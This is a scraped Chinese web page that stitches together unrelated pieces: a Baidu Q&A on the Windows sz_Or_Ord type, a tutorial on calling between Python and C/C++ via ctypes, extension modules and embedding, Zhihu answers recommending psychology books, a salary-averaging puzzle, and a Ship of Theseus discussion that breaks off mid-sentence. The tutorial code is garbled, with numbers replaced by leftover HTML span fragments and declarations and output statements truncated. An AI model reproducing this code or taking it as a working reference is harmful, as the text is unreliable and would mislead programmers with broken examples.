c++用ord函数要什么开头文件 #include字符串函数<>填什么? 用法是什么

在C++中 sz_Or_Ord 数据类型的定义在哪里?什么意思?如何使用?望高手指点,谢谢!_百度知道
在C++中 sz_Or_Ord 数据类型的定义在哪里?什么意思?如何使用?望高手指点,谢谢!
在DLGTEMPLATEEX结构中,成员:sz_Or_Osz_Or_OrdwindowC如何赋值,请给出具体的示例代码,另外,sz_Or_Ord数据类型的定义在那个头文件,因编译出现下列错误信息:errorC2...
在 DLGTEMPLATEEX结构中,成员:sz_Or_Osz_Or_Ord
windowC 如何赋值,请给出具体的示例代码,另外,sz_Or_Ord 数据类型的定义在那个头文件,因编译出现下列错误信息:error C2146: syntax error : missing ';' before identifier 'menu' error C2501: 'sz_Or_Ord' : missing storage-class or type specifiers
答题抽奖
首次认真答题后
即可获得3次抽奖机会,100%中奖。
采纳数:186
获赞数:564
我怎么觉得这只是一个普通的标识符,比如变量,类名之类的,没有你说的那么复杂。
采纳数:563
获赞数:1770
是不是用宏自定义的一个,匈牙利命名法sz开头的可能是c风格字符串在编译器中,请选中该类型右键查看定义
本回答被网友采纳
zhanghuaen
zhanghuaen
采纳数:496
获赞数:3531
在MSDN上搜索sz_Or_Ord,发现它只出现在DLGITEMTEMPLATEEX structure‎和DLGTEMPLATEEX structure‎的里面。它的含义是一个以NULL结尾的Unicode字符串。下面是MSDN的解释:A variable-length array of 16-bit elements. If the first element of this array is 0xFFFF, the system treats the array as a null-terminated Unicode string.
为你推荐:
其他类似问题
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。& &&&&Python模块和C/C++的动态库间相互调用在实际的应用中会有所涉及,在此作一总结。
二、Python调用C/C++
1、Python调用C动态链接库
&&&&&&& Python调用C库比较简单,不经过任何封装打包成so,再使用python的ctypes调用即可。(1)C语言文件:pycall.c
/***gcc -o libpycall.so -shared -fPIC pycall.c*/
#include &stdio.h&
#include &stdlib.h&
int foo(int a, int b)
printf("you input %d and %d\n", a, b);
return a+b;
(2)gcc编译生成动态库libpycall.so:gcc -o libpycall.so -shared -fPIC pycall.c。使用g++编译生成C动态库的代码中的函数或者方法时,需要使用extern "C"来进行编译。
(3)Python调用动态库的文件:pycall.py
import ctypes
ll = ctypes.cdll.LoadLibrary
lib = ll("./libpycall.so")
lib.foo(1, 3)
print '***finish***'
(4)运行结果:
2、Python调用C++(类)动态链接库&
&&&&&& 需要extern "C"来辅助,也就是说还是只能调用C函数,不能直接调用方法,但是能解析C++方法。不是用extern "C",构建后的动态链接库没有这些函数的符号表。(1)C++类文件:pycallclass.cpp
#include &iostream&
using namespace
class TestLib
void display();
void display(int a);
void TestLib::display() {
cout&&"First display"&&
void TestLib::display(int a) {
cout&&"Second display:"&&a&&
extern "C" {
void display() {
obj.display();
void display_int() {
obj.display(<span style="color: #);
(2)g++编译生成动态库libpycall.so:g++ -o libpycallclass.so -shared -fPIC pycallclass.cpp。
(3)Python调用动态库的文件:pycallclass.py
import ctypes
so = ctypes.cdll.LoadLibrary
lib = so("./libpycallclass.so")
print 'display()'
lib.display()
print 'display(100)'
lib.display_int(100)
(4)运行结果:
3、Python调用C/C++可执行程序
(1)C/C++程序:main.cpp
#include &iostream&
using namespace
int test()
int a = <span style="color: #, b = <span style="color: #;
return a+b;
int main()
cout&&"---begin---"&&
int num = test();
cout&&"num="&&num&&
cout&&"---end---"&&
(2)编译成二进制可执行文件:g++ -o testmain main.cpp。
(3)Python调用程序:main.py
import commands
main = "./testmain"
if os.path.exists(main):
rc, out = commands.getstatusoutput(main)
print 'rc = %d, \nout = %s' % (rc, out)
print '*'*10
f = os.popen(main)
data = f.readlines()
print data
print '*'*10
os.system(main)
(4)运行结果:
4、扩展Python(C++为Python编写扩展模块)
&&&&&& 所有能被整合或导入到其它python脚本的代码,都可以被称为扩展。可以用Python来写扩展,也可以用C和C++之类的编译型的语言来写扩展。Python在设计之初就考虑到要让模块的导入机制足够抽象。抽象到让使用模块的代码无法了解到模块的具体实现细节。Python的可扩展性具有的优点:方便为语言增加新功能、具有可定制性、代码可以实现复用等。&&&&&& 为 Python 创建扩展需要三个主要的步骤:创建应用程序代码、利用样板来包装代码和编译与测试。(1)创建应用程序代码
#include &stdio.h&
#include &stdlib.h&
#include &string.h&
int fac(int n)
if (n & <span style="color: #) return(<span style="color: #); /* 0! == 1! == 1 */
return (n)*fac(n-<span style="color: #); /* n! == n*(n-1)! */
char *reverse(char *s)
register char t,
*q = (s + (strlen(s) - <span style="color: #)); /* bwd */
while (p & q)
/* if p & q */
/* swap & move ptrs */
*p++ = *q;
return(s);
int main()
char s[BUFSIZ];
printf("<span style="color: #! == %d\n", fac(<span style="color: #));
printf("<span style="color: #! == %d\n", fac(<span style="color: #));
printf("<span style="color: #! == %d\n", fac(<span style="color: #));
strcpy(s, "abcdef");
printf("reversing 'abcdef', we get '%s'\n", \
reverse(s));
strcpy(s, "madam");
printf("reversing 'madam', we get '%s'\n", \
reverse(s));
return <span style="color: #;
& & & &上述代码中有两个函数,一个是递归求阶乘的函数fac();另一个reverse()函数实现了一个简单的字符串反转算法,其主要目的是修改传入的字符串,使其内容完全反转,但不需要申请内存后反着复制的方法。
(2)用样板来包装代码&&&&&&&
接口的代码被称为“样板”代码,它是应用程序代码与Python解释器之间进行交互所必不可少的一部分。样板主要分为4步:a、包含Python的头文件;b、为每个模块的每一个函数增加一个型如PyObject*
Module_func()的包装函数;c、为每个模块增加一个型如PyMethodDef
ModuleMethods[]的数组;d、增加模块初始化函数void initModule()。
#include &stdio.h&
#include &stdlib.h&
#include &string.h&
int fac(int n)
if (n & <span style="color: #) return(<span style="color: #);
return (n)*fac(n-<span style="color: #);
char *reverse(char *s)
register char t,
*q = (s + (strlen(s) - <span style="color: #));
while (s && (p & q))
*p++ = *q;
return(s);
int test()
char s[BUFSIZ];
printf("<span style="color: #! == %d\n", fac(<span style="color: #));
printf("<span style="color: #! == %d\n", fac(<span style="color: #));
printf("<span style="color: #! == %d\n", fac(<span style="color: #));
strcpy(s, "abcdef");
printf("reversing 'abcdef', we get '%s'\n", \
reverse(s));
strcpy(s, "madam");
printf("reversing 'madam', we get '%s'\n", \
reverse(s));
return <span style="color: #;
#include "Python.h"
static PyObject *
Extest_fac(PyObject *self, PyObject *args)
if (!PyArg_ParseTuple(args, "i", &num))
return NULL;
return (PyObject*)Py_BuildValue("i", fac(num));
static PyObject *
Extest_doppel(PyObject *self, PyObject *args)
char *orig_
char *dupe_
if (!PyArg_ParseTuple(args, "s", &orig_str))
return NULL;
retval = (PyObject*)Py_BuildValue("ss", orig_str,
dupe_str=reverse(strdup(orig_str)));
free(dupe_str);
#防止内存泄漏
static PyObject *
Extest_test(PyObject *self, PyObject *args)
return (PyObject*)Py_BuildValue("");
static PyMethodDef
ExtestMethods[] =
{ "fac", Extest_fac, METH_VARARGS },
{ "doppel", Extest_doppel, METH_VARARGS },
{ "test", Extest_test, METH_VARARGS },
{ NULL, NULL },
void initExtest()
Py_InitModule("Extest", ExtestMethods);
& & & & Python.h头文件在大多数类Unix系统中会在/usr/local/include/python2.x或/usr/include/python2.x目录中,系统一般都会知道文件安装的路径。
&&&&&&& 增加包装函数,所在模块名为Extest,那么创建一个包装函数叫Extest_fac(),在Python脚本中使用是先import Extest,然后调用Extest.fac(),当Extest.fac()被调用时,包装函数Extest_fac()会被调用,包装函数接受一个 Python的整数参数,把它转为C的整数,然后调用C的fac()函数,得到一个整型的返回值,最后把这个返回值转为Python的整型数做为整个函数调用的结果返回回去。其他两个包装函数Extest_doppel()和Extest_test()类似。&&&&&&&&
从Python到C的转换用PyArg_Parse*系列函数,int
PyArg_ParseTuple():把Python传过来的参数转为C;int
PyArg_ParseTupleAndKeywords()与PyArg_ParseTuple()作用相同,但是同时解析关键字参数;它们的用法跟C的sscanf函数很像,都接受一个字符串流,并根据一个指定的格式字符串进行解析,把结果放入到相应的指针所指的变量中去,它们的返回值为1表示解析成功,返回值为0表示失败。从C到Python的转换函数是PyObject*
Py_BuildValue():把C的数据转为Python的一个对象或一组对象,然后返回之;Py_BuildValue的用法跟sprintf很像,把所有的参数按格式字符串所指定的格式转换成一个Python的对象。&&&&&&& C与Python之间数据转换的转换代码:&&&&&&&
为每个模块增加一个型如PyMethodDef
ModuleMethods[]的数组,以便于Python解释器能够导入并调用它们,每一个数组都包含了函数在Python中的名字,相应的包装函数的名字以及一个METH_VARARGS常量,METH_VARARGS表示参数以tuple形式传入。
若需要使用PyArg_ParseTupleAndKeywords()函数来分析命名参数的话,还需要让这个标志常量与METH_KEYWORDS常量进行逻辑与运算常量
。数组最后用两个NULL来表示函数信息列表的结束。&&&&&&&& 所有工作的最后一部分就是模块的初始化函数,调用Py_InitModule()函数,并把模块名和ModuleMethods[]数组的名字传递进去,以便于解释器能正确的调用模块中的函数。(3)编译&&&&&&& 为了让新Python的扩展能被创建,需要把它们与Python库放在一起编译,distutils包被用来编译、安装和分发这些模块、扩展和包。&&&&&&& 创建一个setup.py 文件,编译最主要的工作由setup()函数来完成:
#!/usr/bin/env python
from distutils.core import setup, Extension
MOD = 'Extest'
setup(name=MOD, ext_modules=[Extension(MOD, sources=['Extest2.c'])])
& & & & Extension()第一个参数是(完整的)扩展的名字,如果模块是包的一部分的话,还要加上用'.'分隔的完整的包的名字。上述的扩展是独立的,所以名字只要写"Extest"就行;sources参数是所有源代码的文件列表,只有一个文件Extest2.c。setup需要两个参数:一个名字参数表示要编译哪个内容;另一个列表参数列出要编译的对象,上述要编译的是一个扩展,故把ext_modules参数的值设为扩展模块的列表。
&&&&&&& 运行setup.py build命令就可以开始编译我们的扩展了,提示部分信息:
creating build/lib.linux-x86_64-2.6
gcc -pthread -shared build/temp.linux-x86_64-2.6/Extest2.o -L/usr/lib64 -lpython2.6 -o build/lib.linux-x86_64-2.6/Extest.so
(4)导入和测试
&&&&&&&& 你的扩展会被创建在运行setup.py脚本所在目录下的build/lib.*目录中,可以切换到那个目录中来测试模块,或者也可以用命令把它安装到Python中:python setup.py install,会提示相应信息。&&&&&&&& 测试模块:(5)引用计数和线程安全&&&&
Python对象引用计数的宏:Py_INCREF(obj)增加对象obj的引用计数,Py_DECREF(obj)减少对象obj的引用计数。Py_INCREF()和Py_DECREF()两个函数也有一个先检查对象是否为空的版本,分别为Py_XINCREF()和Py_XDECREF()。&&&&&
编译扩展的程序员必须要注意,代码有可能会被运行在一个多线程的Python环境中。这些线程使用了两个C宏Py_BEGIN_ALLOW_THREADS和Py_END_ALLOW_THREADS,通过将代码和线程隔离,保证了运行和非运行时的安全性,由这些宏包裹的代码将会允许其他线程的运行。
三、C/C++调用Python
&&&&&& C++可以调用Python脚本,那么就可以写一些Python的脚本接口供C++调用了,至少可以把Python当成文本形式的动态链接库,&需要的时候还可以改一改,只要不改变接口。缺点是C++的程序一旦编译好了,再改就没那么方便了。(1)Python脚本:pytest.py
#test function
def add(a,b):
print "in python function add"
print "a = " + str(a)
print "b = " + str(b)
print "ret = " + str(a+b)
def foo(a):
print "in python function foo"
print "a = " + str(a)
print "ret = " + str(a * a)
class guestlist:
def __init__(self):
print "aaaa"
print "bbbbb"
def __getitem__(self, id):
return "ccccc"
def update():
guest = guestlist()
print guest['aa']
(2)C++代码:
/**g++ -o callpy callpy.cpp -I/usr/include/python2.6 -L/usr/lib64/python2.6/config -lpython2.6**/
#include &Python.h&
int main(int argc, char** argv)
// 初始化Python
//在使用Python系统前,必须使用Py_Initialize对其
//进行初始化。它会载入Python的内建模块并添加系统路
//径到模块搜索路径中。这个函数没有返回值,检查系统
//是否初始化成功需要使用Py_IsInitialized。
Py_Initialize();
// 检查初始化是否成功
if ( !Py_IsInitialized() ) {
return -<span style="color: #;
// 添加当前路径
//把输入的字符串作为Python代码直接运行,返回0
//表示成功,-1表示有错。大多时候错误都是因为字符串
//中有语法错误。
PyRun_SimpleString("import sys");
PyRun_SimpleString("print '---import sys---'");
PyRun_SimpleString("sys.path.append('./')");
PyObject *pName,*pModule,*pDict,*pFunc,*pA
// 载入名为pytest的脚本
pName = PyString_FromString("pytest");
pModule = PyImport_Import(pName);
if ( !pModule ) {
printf("can't find pytest.py");
getchar();
return -<span style="color: #;
pDict = PyModule_GetDict(pModule);
if ( !pDict ) {
return -<span style="color: #;
// 找出函数名为add的函数
printf("----------------------\n");
pFunc = PyDict_GetItemString(pDict, "add");
if ( !pFunc || !PyCallable_Check(pFunc) ) {
printf("can't find function [add]");
getchar();
return -<span style="color: #;
// 参数进栈
pArgs = PyTuple_New(<span style="color: #);
PyObject* Py_BuildValue(char *format, ...)
把C++的变量转换成一个Python对象。当需要从
C++传递变量到Python时,就会使用这个函数。此函数
有点类似C的printf,但格式不同。常用的格式有
s 表示字符串,
i 表示整型变量,
f 表示浮点数,
O 表示一个Python对象。
PyTuple_SetItem(pArgs, <span style="color: #, Py_BuildValue("l",<span style="color: #));
PyTuple_SetItem(pArgs, <span style="color: #, Py_BuildValue("l",<span style="color: #));
// 调用Python函数
PyObject_CallObject(pFunc, pArgs);
//下面这段是查找函数foo 并执行foo
printf("----------------------\n");
pFunc = PyDict_GetItemString(pDict, "foo");
if ( !pFunc || !PyCallable_Check(pFunc) ) {
printf("can't find function [foo]");
getchar();
return -<span style="color: #;
pArgs = PyTuple_New(<span style="color: #);
PyTuple_SetItem(pArgs, <span style="color: #, Py_BuildValue("l",<span style="color: #));
PyObject_CallObject(pFunc, pArgs);
printf("----------------------\n");
pFunc = PyDict_GetItemString(pDict, "update");
if ( !pFunc || !PyCallable_Check(pFunc) ) {
printf("can't find function [update]");
getchar();
return -<span style="color: #;
pArgs = PyTuple_New(<span style="color: #);
PyTuple_SetItem(pArgs, <span style="color: #, Py_BuildValue(""));
PyObject_CallObject(pFunc, pArgs);
Py_DECREF(pName);
Py_DECREF(pArgs);
Py_DECREF(pModule);
// 关闭Python
Py_Finalize();
return <span style="color: #;
(3)C++编译成二进制可执行文件:g++ -o callpy callpy.cpp -I/usr/include/python2.6 -L/usr/lib64/python2.6/config -lpython2.6,编译选项需要手动指定Python的include路径和链接接路径(Python版本号根据具体情况而定)。
(4)运行结果:
(1)Python和C/C++的相互调用仅是测试代码,具体的项目开发还得参考Python的API文档。(2)两者交互,C++可为Python编写扩展模块,Python也可为C++提供脚本接口,更加方便于实际应用。(3)若有不足,请留言,在此先感谢!
阅读(...) 评论()&p&知乎第一次回答献给这个问题了。&br&
心理学选书最怕的就是选偏了。&b&心理学&/b&是一门&b&交叉学科的科学(理科和文科交叉&/b&)然而很多人不知道。市面上所谓的心理书籍太良莠不齐了,到处打着“读心术”“操纵术”旗号的书,其实很多都有歪门邪道之嫌。&br&
选心理学书籍,科学性是第一位的。读一本书起码内容的质量要有保证嘛。如果连内容都是胡编乱造没根据的,看了不就是毒害身心?&/p&&p&&br&&/p&&p&&b&结合问题,先推荐
&i&我自己看过的&/i&、&i&针对非专业、想入门的朋友&/i&,&u&科学性与趣味性 &/u&最佳的五本:&/b&&br&顺便把封面、目录也贴出来。&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&1. &b&《心理学导论:思想与行为的认识之路》&/b&&/p&&p&
读了两遍。太好的书了!别看是教材,写的特别特别的有趣,老外的书趣味性强,引用了很多的实例(印象最深的是社会心理学部分居然有讲到传销...),深入浅出,想通俗全面的了解心理学到底是什么、涉及哪些领域非常好的入门书。&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-ef7e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&265& data-rawheight=&342& class=&content_image& width=&265&&&/figure&&figure&&img src=&https://pic2.zhimg.com/50/v2-2f9cb5ecb814_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&884& data-rawheight=&1203& class=&origin_image zh-lightbox-thumb& width=&884& data-original=&https://pic2.zhimg.com/50/v2-2f9cb5ecb814_r.jpg&&&/figure&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-65e84f35ece90c62510fb0_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&851& data-rawheight=&945& class=&origin_image zh-lightbox-thumb& width=&851& data-original=&https://pic4.zhimg.com/50/v2-65e84f35ece90c62510fb0_r.jpg&&&/figure&&p&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-c4dbec682f78e054ee0e61_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&837& data-rawheight=&1087& class=&origin_image zh-lightbox-thumb& width=&837& data-original=&https://pic2.zhimg.com/50/v2-c4dbec682f78e054ee0e61_r.jpg&&&/figure&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-d0fd52d238cd03d6d5efac_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&830& data-rawheight=&1085& class=&origin_image zh-lightbox-thumb& width=&830& data-original=&https://pic1.zhimg.com/50/v2-d0fd52d238cd03d6d5efac_r.jpg&&&/figure&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-b0fc977ad15f0ad4aa56351_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&833& data-rawheight=&685& class=&origin_image zh-lightbox-thumb& width=&833& data-original=&https://pic4.zhimg.com/50/v2-b0fc977ad15f0ad4aa56351_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&2. &b&《亲密关系》&/b&&/p&&p&专门讲男女两性关系的。(津巴多教授郑重推荐的当然没的说)。几乎男女两性之间如何吸引、婚姻、爱情、性爱、友谊等有关男女交往之间方方面面都涉及了。同样科学性和趣味性并存。(这本书解决了困惑了我好久的:“男生到底喜欢什么样身材的女生”的问题,以及恋爱关系中哪一方主导怎么回事的问题。)&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-f84f4fe404ba_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&351& data-rawheight=&517& class=&content_image& width=&351&&&/figure&&p&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-df2f08dbf6_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&682& data-rawheight=&636& class=&origin_image zh-lightbox-thumb& width=&682& data-original=&https://pic2.zhimg.com/50/v2-df2f08dbf6_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/50/v2-bc8ce12dad07a986b3ba_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&448& data-rawheight=&602& class=&origin_image zh-lightbox-thumb& width=&448& data-original=&https://pic4.zhimg.com/50/v2-bc8ce12dad07a986b3ba_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/50/v2-3ce7ec8b95e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&455& data-rawheight=&596& class=&origin_image zh-lightbox-thumb& width=&455& data-original=&https://pic4.zhimg.com/50/v2-3ce7ec8b95e_r.jpg&&&/figure&&figure&&img src=&https://pic1.zhimg.com/50/v2-e229e10a92ff571e883fe_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&451& data-rawheight=&555& class=&origin_image zh-lightbox-thumb& width=&451& data-original=&https://pic1.zhimg.com/50/v2-e229e10a92ff571e883fe_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&&b&3. 《20世纪最伟大的心理学实验》&/b&&/p&&p&
并不是讲枯燥严谨的试验本身。更多的是把20世纪的著名实验当年怎么发起的、结果怎么样、对当时时代社会和科学界有什么影响,包括这些神秘可敬的心理学家本身的生活因此受到什么影响以讲故事的方式讲出来的,看故事似地就顺完了。而&b&《改变心理学的40项研究》&/b&更多的是偏向研究假设怎么提出的、实验怎么做的、科学界如何评价这些方面来讲,对心理学实验思路有兴趣的可以看看。&/p&&p&
总之怎么说呢,心理学实验很多是以人作为研究对象,本身就&好玩很多&,也跟当时时代的一些著名事件相联系的。比如“权威服从实验”就是二战时做的,对为啥那么多人丧了良心听从希特勒杀戮的现象作了很好的解释。&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-caaf96ed58b581eda6dcbc90_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&281& data-rawheight=&419& class=&content_image& width=&281&&&/figure&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-0f2cdce13d3e7ed496e2bf9a09e087c7_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&558& data-rawheight=&606& class=&origin_image zh-lightbox-thumb& width=&558& data-original=&https://pic4.zhimg.com/50/v2-0f2cdce13d3e7ed496e2bf9a09e087c7_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&&b&4. 《社会心理学》戴维·迈尔斯&/b&&br&
本人读的是国内侯玉波老师的社会心理学,崔丽娟老师那本也读过,总之国内的心理学教材相比国外的,趣味性和“亲民性”还是差一些。戴维迈尔斯的这版最近在读,大学本科心理学的老师有多个推荐过这本书,包括豆瓣上的评分高达9.0,肯定是相当值得一读。&/p&&p&&br&&/p&&p&&b&5. 《心理学与生活》理查德·格里格、菲利普·津巴多&/b&&br&
因为我直接看的是《心理学导论:思想与行为的认识之路》,这本就没有读。同样是心理学入门的经典。听多个心理学教授都推荐过。这本也比《导论》更加有名。&/p&&p&&br&&/p&&p&关于《梦的解析》。作者是耳熟能详的弗洛伊德。实话讲弗洛伊德的理论在当今心理学界挺多具有争议的,看了之后其实内容有营养可以吸收的不多,感兴趣翻翻倒是可以,但不是学心理学首要推荐读物。&br&关于《爱的艺术》。作者弗洛姆是精神分析学派的心理学大师,但是心理学作为一门科学发展这么多年,他的书里很多内容在现在来看是很“不科学”的,反正我是看了两章内容就合书了,一来因为实在忍不了这种没根没据的没有被证实的内容,二来真读不下去。&br&关于《男人来自火星,女人来自金星》。一本跟媒体和营销有关的书,(很多媒体上没有专业性、口才好一点的所谓的情感专家们这就不用说了吧大家都懂),心理学界内专业人士已经对此书的科学性和专业性有一些质疑,相比之下还是推荐看《亲密关系》&br&顺便多说一句,比如某光头老师的性格色彩同样是媒体营销炒作的书,从心理学的角度看,同样其科学性和专业性有很大质疑。&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-c0d2ffe9af2ff_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&952& data-rawheight=&626& class=&origin_image zh-lightbox-thumb& width=&952& data-original=&https://pic1.zhimg.com/50/v2-c0d2ffe9af2ff_r.jpg&&&/figure&&p&&br&&/p&&p&&b&
外行的孩子们&/b&,无论想了解&b&心理咨询、工程心理学、儿童心理学、人际关系、还是环境心理学&/b&等等领域的书,都&b&建议先看一下&/b&《&b&心理学导论》或者《心理学与生活》&/b&,如果你们随便找了一个什么题名诡怪的书,看完觉得有点像算命故作玄虚,或者有点像鸡汤光讲大道理,那我告诉你,你可能看了假心理学(伪心理学)。&br&
而&b&看上述两本书籍的好处在于,直接让你知道了&u&什么是正宗科学的东西,什么是旁门左道江湖卖药&/u&&/b&,&b&&u&以后碰到了其他书籍,能有个基本的分辨&/u&&/b&,如果碰到有一本书美面大部分的名词你都没见过,或者连支持的论据都没有,比如美名其曰讲催眠,但翻目录发现连睡眠的基本阶段和以催眠为重要心理治疗手段的精神神分析学派都不提,就可以果断弃之了。&/p&&p&&br&&/p&&p&
题主问的是有关入门的、社会方向的心理学书籍,因此要说的就这么多,其他有关儿童发展心理学、变态心理学、心理统计等等的书籍就不做讨论了。&/p&&p&&br&&/p&&p&顺便贴一下《&b&心理学导论》&/b&一书中推荐书籍的截图,大家各取所需。&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-d0c8f280a349ae9f1da56_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&982& data-rawheight=&1296& class=&origin_image zh-lightbox-thumb& width=&982& data-original=&https://pic1.zhimg.com/50/v2-d0c8f280a349ae9f1da56_r.jpg&&&/figure&&figure&&img src=&https://pic1.zhimg.com/50/v2-7dffbb146da3b83_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&584& data-rawheight=&704& class=&origin_image zh-lightbox-thumb& width=&584& data-original=&https://pic1.zhimg.com/50/v2-7dffbb146da3b83_r.jpg&&&/figure&&p&(最后:如果有错误、补充,欢迎讨论和指正。谢谢)&/p&
知乎第一次回答献给这个问题了。 心理学选书最怕的就是选偏了。心理学是一门交叉学科的科学(理科和文科交叉)然而很多人不知道。市面上所谓的心理书籍太良莠不齐了,到处打着“读心术”“操纵术”旗号的书,其实很多都有歪门邪道之嫌。 选心理学书籍,科学…
&p&每个人把自己的工资随意拆成四个数的和,分别把四个数字告诉自己以外的四个人;
每个人手里收到四个数字,加起来,报出;
五个人的数字相加,即可得到五个人的总收入,除以5得到平均工资。&/p&&p&记得这是一个挺古老的解决方案?&/p&&p&———————————————————————————————————————————&/p&&p&5/23 19:40千赞留念。没想到昨天吃晚饭时随手回答的一个问题得到了这么多的赞同&/p&&p&有评论说我说的不够清楚,那可以这么再严格地叙述一下:&/p&&p&设这五个人的工资分别为 &img src=&//www.zhihu.com/equation?tex=a_1%2Ca_2%2Ca_3%2Ca_4%2Ca_5& alt=&a_1,a_2,a_3,a_4,a_5& eeimg=&1&& ,第 &img src=&//www.zhihu.com/equation?tex=i& alt=&i& eeimg=&1&& 个人告诉第 &img src=&//www.zhihu.com/equation?tex=j& alt=&j& eeimg=&1&& 个人的数字为 &img src=&//www.zhihu.com/equation?tex=a_%7Bij%7D& alt=&a_{ij}& eeimg=&1&& ,那么有 &img src=&//www.zhihu.com/equation?tex=a_i%3D%5Csum_%7Bj%5Cneq+i%7D+a_%7Bij%7D& alt=&a_i=\sum_{j\neq i} a_{ij}& eeimg=&1&& ;&/p&&p&现在得到一个矩阵:&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-0576f11afef77e38752fb3fdcf0d4b68_b.jpg& data-rawwidth=&340& data-rawheight=&155& class=&content_image& width=&340&&&/figure&&p&第二步就相当于计算每一列的和,然后第三步把它们加起来再除以五。总体上就是说矩阵所有元素的和等于各行和之和,也等于各列和之和。&/p&&p&总结一下评论区一些讨论:&/p&&ol&&li&如果考虑剩余四个人抱团的情况,四个人可以采用同样的办法,在互相不告诉薪水的情况下得知四人的总薪水,从而得知第五人的薪水。&/li&&li&每个人把工资分成五份,自己留一个数字只能让其余四个人不能直接把手里的关于他的数字相加得到他的薪水,对防御四人抱团的情况没有帮助。&/li&&li&拆分的数字可以取负数,从而让其余人失去了薪水的一个下界的信息。&/li&&/ol&&p&这个方法不是我原创的,应该是近几年在某一本书上看的,但是翻了翻没找到;也有可能是数学建模或者密码学课上老师提到过。&/p&&p&———————————————————————————————————————————&/p&&p&5/24 12:40 两千赞留念。因为这个回答关注我的各位……可能会比较失望?我在知乎上主要回答魔方话题下的问题,以及给大佬们点赞……&/p&
每个人把自己的工资随意拆成四个数的和,分别把四个数字告诉自己以外的四个人;
每个人手里收到四个数字,加起来,报出;
五个人的数字相加,即可得到五个人的总收入,除以5得到平均工资。记得这是一个挺古老的解决方案?————————————————…
结论很简单:没有一个绝对有效的跨时间的同一性标准。而说到底,只有一个松散的同一性标准。这个同一性标准是如此之松散,以至于它在直观上会导致不一致。&br&&br&我们在能够达成共识的地方达成共识,而在不能达成共识的地方搁置问题。&br&&br&自然,我们会说「一个物体和自身是同一的」,但是这种话毫无意义,因为它不能帮我们作出任何预测,这里的自身是一个时间点上的自身,因此即便我们成功地描述了一个物体在某个时间点的状态,我们也不能据此推断这个物体在一段时间之后的情况,因为说到底,我们会问,一段时间之后的「这个物体」指什么。&br&&br&因此,我们不仅需要一个绝对的同一性标准,还需要一个跨时间的同一性标准。但是这个同一性标准是非常松散的,往往是出于实用的目的而制定的。以人为例,在日常语言中,我们自然会说一个婴儿和若干年之后长成的老人是同一个人。但是我们不会说这个老人死后千年分散在世界各地的遗骸也是同一个人。甚至,我们会很明确地说,尸体是尸体,人是人,即便刚死去的尸体也不是人。虽然这个尸体和濒死前的差异远远小于这个濒死前的人和他幼儿状态的差异。(A 是婴儿,B 是几十年之后濒死的 A,B' 是 B 的尸体,无论从时间尺度、物理状态还是从功能上来说,A 和 B 的差别都要远大于 B' 和 B 的差别。)&br&&br&一个松散的同一性标准会造成这样的问题:如果我们认为一个对象和每个与它近似的对象都是同一的,那么,只要我们允许同一性的传递,那么每个对象都和其它对象同一。Ridiculous!&br&&br&甚至我们可以这样论证:&br&&blockquote&初始步奏:原始特修斯之船具有性质「是特修斯之船」。&br&归纳步奏:如果一个对象具有性质「是特修斯之船」,那么这个对象就算少了一个原子也具有性质「是特修斯之船」。&br&因此,根据数学归纳法,&br&一个特修斯之船上的铁原子具有性质「是特修斯之船」。&/blockquote&这就是另一个方向的悖论:堆垛悖论。实际上这个论证和题目中的论证仅仅是采取了不同的方向而已:题目采用的是替换,而在这个堆垛悖论的版本中我直接让它消失了╮( ̄▽ ̄&)╭ &br&&br&那么,我们能否用&a href=&http://www.zhihu.com/question//answer/& class=&internal&&解决堆垛悖论的方式&/a&来解决同一性悖论呢?&br&&br&看上去,考虑取消全局的 cut 规则是一个不错的做法。考虑超赋值方案也是一个好的方法。&br&&br&逻辑中的 cut 规则隐含在「证明」这个概念的定义中:一个证明是一个命题序列,其中这一串命题的最后一个被称为结论,而前面的命题被称为前提,每一个命题,这个序列中的每一个命题,要么是公理或者前提,要么是之前的命题通过推理规则得到的。而这种定义「证明」的方式, 就隐含了我们可以构建任意长度的证明序列,并且,如果我们首先证明了 A 能推出 B,然后证明了 B 能推出 C,那么我们就自然能证明 A 能推出 C。所谓的 cut 规则就是指这种能把两个短证明拼接成一个长证明的性质。而如果我们取消了 cut 